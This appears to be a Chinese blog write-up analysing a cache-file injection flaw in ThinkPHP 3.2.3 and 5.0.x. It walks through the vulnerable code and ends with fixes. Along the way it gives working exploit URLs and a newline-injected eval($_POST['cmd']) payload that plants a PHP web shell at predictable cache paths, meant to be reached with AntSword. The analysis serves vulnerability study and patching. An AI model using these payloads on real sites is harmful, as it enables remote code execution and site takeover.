phpthink3.2.3-5.0.10缓存函数缺陷
漏洞利用
thinkphp3.2.3
漏洞文件位置(一般审计得出)
http://domain/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//缓存文件为缓存名的md5值,这里采用md5(name)=b068931cc450442b63f5b3d276ea4297
http://domain/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php之后蚁剑连接。
thinkphp5.0.5
漏洞文件位置(一般审计得出)
http://domain/public/index.php/Home/Index/indexPOST数据 :
con=%0d%0aeval($_POST['cmd']);%0d%0a//缓存文件位置b0文件夹是md5(cache-name)前2位。
http://domain/runtime/cache/b0/b068931cc450442b63f5b3d276ea4297.php蚁剑连接
局限性
- 使用
S()函数或者Cache()函数的位置不确定,尽量拿源码分析。 - 使用缓存函数的
name变量未知,拿源码分析或尝试常用的缓存名name、key
3.2.3漏洞复现
直接跟进到
/Library/Think/Cache/File.class.php文件,看到set方法:1/**2* 写入缓存3* @access public4* @param string $name 缓存变量名5* @param mixed $value 存储数据6* @param int $expire 有效时间 0为永久7* @return boolean8*/9public function set($name,$value,$expire=null) {10N('cache_write',1);11if(is_null($expire)) {12$expire = $this->options['expire'];13}14$filename = $this->filename($name);15$data = serialize($value);16if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {17//数据压缩18$data = gzcompress($data,3);19}20if(C('DATA_CACHE_CHECK')) {//开启数据校验21$check = md5($data);22}else {23$check = '';24}25$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";26//data参数经过序列化,直接被写到文件内。2728$result = file_put_contents($filename,$data);29if($result) {30if($this->options['length']>0) {31// 记录缓存队列32$this->queue($name);33}34clearstatcache();35return true;36}else {37return false;38}39}写一个调用缓存函数的的方法,运行一下。看看写进去什么
1<?php2namespace Home\Controller;3use Think\Controller;4class IndexController extends Controller {56public function index(){7$a=I('post.a3');8S('name',$a);9}10}在set方法下断点,访问
http://localhost/index.php/Home/Index/index.html,post数据:a3=aaaa
可以看到$data参数经过序列化,直接写入php后缀的文件。F9运行可以看到,在
Application/Runtime/Temp/文件夹下生成了php文件。
写入到文件被行注释了。
$data参数未过滤%0d%0a可以用换行来绕过行注释,尝试post数据:a3=%0d%0aeval($_POST['cmd']);%0d%0a//
之后用蚁剑连接成功

5.0.5漏洞复现
漏洞代码与3.2.3差不多,不一样的在缓存目录
1protected function getCacheKey($name)2{3$name = md5($name);4if ($this->options['cache_subdir']) {5// 使用子目录6$name = substr($name, 0, 2) . DS . substr($name, 2);7}8if ($this->options['prefix']) {9$name = $this->options['prefix'] . DS . $name;10}11$filename = $this->options['path'] . $name . '.php';12$dir = dirname($filename);13if (!is_dir($dir)) {14mkdir($dir, 0755, true);15}16return $filename;17}在index控制器写如下代码:

之后访问
http://localhost/public/index.php/Home/indexPOST数据:con=%0aeval($_POST['cmd']);%0d//最终在
runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php文件生成shell:
之后访问蚁剑
http://localhost/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
坑
在复现的时候看到CMS-hunter里对这个漏洞有这个描述:
1 | 个人在复现这个漏洞的时候发现5.0.x版本的TP并不能直接访问到缓存文件所在的目录,因此可以情况下不能触发该漏洞。在3.2.x版本是可以直接从浏览器访问到缓存文件的。 |
但在个人复现的时候并没有出现这个情况。
所以说一切还是自己复现一边才能填坑
修复方法
过滤换行符
在$data写入文件之前过滤
$data = str_replace(PHP_EOL, '', $data);禁止访问目录
在
Runtime目录添加.htaccess文件,内容:1<IfModule mod_rewrite.c>2deny from all3</IfModule>